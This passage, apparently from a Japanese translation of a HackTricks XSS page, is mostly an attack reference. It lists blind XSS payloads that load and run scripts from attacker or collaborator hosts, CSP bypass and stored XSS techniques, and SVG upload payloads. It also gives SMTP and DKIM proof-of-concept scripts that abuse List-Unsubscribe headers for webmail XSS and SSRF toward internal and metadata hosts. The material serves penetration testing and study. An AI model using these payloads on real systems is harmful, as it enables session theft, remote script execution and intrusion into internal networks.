  • Use CSP-allowed origin: 被害者の CSP に既に許可されているドメイン(例: analytics を許可しているログアウト済みヘルプページの *.THIRD-PARTY.com)にピボットし、そこで takeover/XSS/upload により /sdk/<pixel_id>/iwl.js をホストする。
  • Restore opener: Android WebView では window.name='x'; window.open(target,'x') によりページが自分自身の opener になる;乗っ取った iframe から悪意のある postMessage を送る。
  • Trigger: iframe が {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>} を post し、親は CSP-allowed origin から攻撃者の iwl.js を読み込んで実行する。

これは origin をチェックしない postMessage 検証を、ポリシーで既に許可されている任意の origin にアクセスできれば CSP をすり抜ける リモートスクリプトローダーのプリミティブ に変える。

Supply-chain を介した stored XSS(backend の JS 連結経由)

backend が user-controlled な値と JS 文字列を連結して shared SDK を構築する と、どんなクォート/構造ブレーカーでもスクリプトを注入でき、それがすべての利用者に配信される:

  • 例(Meta CAPIG): サーバは cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); を直接 capig-events.js に追加する。
  • '"]} を注入するとリテラル/オブジェクトが閉じられ攻撃者の JS が追加され、読み込むすべてのサイト(first-party と third-party)に配布される SDK に stored XSS を作る。

エスケープが無効化された生成レポートにおける Stored XSS

アップロードされたファイルが解析され、メタデータがエスケープ無効(|safe、カスタムレンダラー)で HTML レポートに出力される場合、そのメタデータは stored XSS sink となる。例のフロー:

xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name  # %s fed by xmlhost

Djangoテンプレートが {{item|key:"title"|safe}} をレンダリングするため、攻撃者のHTMLが実行されます。

Exploit: レポートに到達する任意の manifest/config フィールドにエンティティエンコードされた HTMLを置く:

<data android:scheme="android_secret_code"
android:host="&lt;img src=x onerror=alert(document.domain)&gt;"/>

Rendered with |safe, the report outputs <img ...> and fires JS on view.

検出: レポート/通知ビルダーで、パース済みフィールドを %s/f-strings で再利用し auto-escape を無効にしている箇所を探してください。アップロードされた manifest/log/archive に含まれるエンコードされたタグ一つが、すべての閲覧者に対して XSS を持続させます。

Service Workers の悪用

Abusing Service Workers

Shadow DOM へのアクセス

Shadow DOM

Polyglots

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt

Blind XSS payloads

また、以下も利用できます: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - 隠されたコンテンツへのアクセス

このthis writeupから、いくつかの値がJSから消えても、別のオブジェクトのJS属性内でそれらを見つけることができると分かります。例えば、REGEXへの入力は、regexの入力値が削除された後でも見つけられることがあります:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS 他の脆弱性の悪用

XSS in Markdown

レンダリングされるMarkdownコードを注入できますか?もしかするとXSSが発生するかもしれません。確認:

XSS in Markdown

XSS to SSRF

キャッシュを使用するサイトでXSSを見つけましたか?Edge Side Include Injectionを通じてそれをSSRFにアップグレードしてみてください。payloadは次の通り:

<esi:include src="http://yoursite.com/capture" />

これを使って cookie 制限、XSS フィルターなどを回避できます!
この技術の詳細はこちら: XSLT.

XSS in dynamic created PDF

もしウェブページがユーザー制御の入力を使って PDF を作成している場合、PDF を作成するボットを 騙して 任意の JS コードを実行させる ことを試みることができます。
したがって、PDF creator bot finds が何らかの HTML tags を見つけると、それらを interpret し、この挙動を abuse して Server XSS を引き起こすことができます。

Server Side XSS (Dynamic PDF)

もし HTML タグを注入できない場合は、PDF データを注入する ことを試す価値があるかもしれません:

PDF Injection

XSS in Amp4Email

AMP はモバイルデバイスでのウェブページのパフォーマンスを高速化することを目的としており、機能性を保ちながら速度とセキュリティを重視して HTML タグに JavaScript を補助的に組み込んでいます。様々な機能向けのコンポーネントが用意されており、AMP components から利用できます。

AMP for Email フォーマットは特定の AMP コンポーネントをメールに拡張し、受信者がメール内で直接コンテンツと対話できるようにします。

Example writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

RFC 2369 List-Unsubscribe ヘッダーは攻撃者制御の URI を埋め込むことができ、多くの webmail や mail クライアントはそれを自動的に “Unsubscribe” ボタンに変換します。これらの URI が検証なしにレンダリングまたはフェッチされると、ヘッダーはストアド XSS(unsubscribe リンクが DOM に配置される場合)および SSRF(サーバーがユーザーに代わって unsubscribe リクエストを実行する場合)の両方の注入ポイントになります。

javascript: URIs による Stored XSS

  1. 自分宛にメールを送る — ヘッダーが javascript: URI を指すようにし、メッセージの残りはスパムフィルタに弾かれないように無害に保ちます。
  2. UI が値をレンダリングすることを確認する(多くのクライアントはそれを “List Info” ペインに表示します)と、生成される <a> タグが攻撃者制御の属性(hreftarget など)を継承するかどうかを確認します。
  3. 実行をトリガーする(例:CTRL+click、ミドルクリック、または “open in new tab”) — リンクが target="_blank" を使用している場合、ブラウザは供給された JavaScript を webmail アプリケーションのオリジンで評価します。
  4. stored-XSS プリミティブを観察してください: ペイロードはメールとともに持続し、実行にはクリックだけが必要です。
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

URI の改行バイト (%0a) は、Horde IMP H5 のような脆弱なクライアントにおいて、まれな文字でさえレンダリングパイプラインを通過し、anchor tag 内にその文字列を逐語的に出力することを示しています。

悪意のある List-Unsubscribe header を送信する Minimal SMTP PoC ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### サーバー側の購読解除プロキシ -> SSRF

Nextcloud Mail app のようないくつかのクライアントは、購読解除アクションをサーバー側でプロキシします:ボタンをクリックするとサーバーが指定された URL を直接フェッチします。これによりヘッダは SSRF プリミティブになります。特に管理者が `'allow_local_remote_servers' => true` を設定している場合(documented in [HackerOne report 2902856](https://hackerone.com/reports/2902856))、loopback および RFC1918 範囲へのリクエストが許可されます。

1. **メールを作成する** — `List-Unsubscribe` が攻撃者制御のエンドポイントを指すようにする(ブラインド SSRF の場合は Burp Collaborator / OAST を使用)。
2. **`List-Unsubscribe-Post: List-Unsubscribe=One-Click` を維持する** ことで UI にワンクリックの購読解除ボタンが表示される。
3. **信頼要件を満たす** — 例えば Nextcloud はメッセージが DKIM を通過した場合に限り HTTPS の購読解除リクエストを実行するため、攻撃者は自身が管理するドメインでメールに署名する必要がある。
4. **対象サーバーで処理されるメールボックスへメッセージを配信する** と、ユーザーが購読解除ボタンをクリックするのを待つ。
5. **サーバー側のコールバックを観察する**(collaborator endpoint で)、プリミティブが確認できたら内部アドレスへピボットする。
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe メッセージ(SSRF テスト用) ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**テストノート**

- Use an OAST endpoint to collect blind SSRF hits, then adapt the `List-Unsubscribe` URL to target `http://127.0.0.1:PORT`, metadata services, or other internal hosts once the primitive is confirmed.
- Because the unsubscribe helper often reuses the same HTTP stack as the application, you inherit its proxy settings, HTTP verbs, and header rewrites, enabling further traversal tricks described in the [SSRF methodology](../ssrf-server-side-request-forgery/README.md).

### XSS のファイルアップロード (svg)

以下のようなファイルを画像としてアップロードします(出典: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

以下でさらに多くのSVG payloadsを見つけてください: https://github.com/allanlw/svg-cheatsheet

その他の JS トリック & 関連情報

Misc JS Tricks & Relevant Info

XSS リソース

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする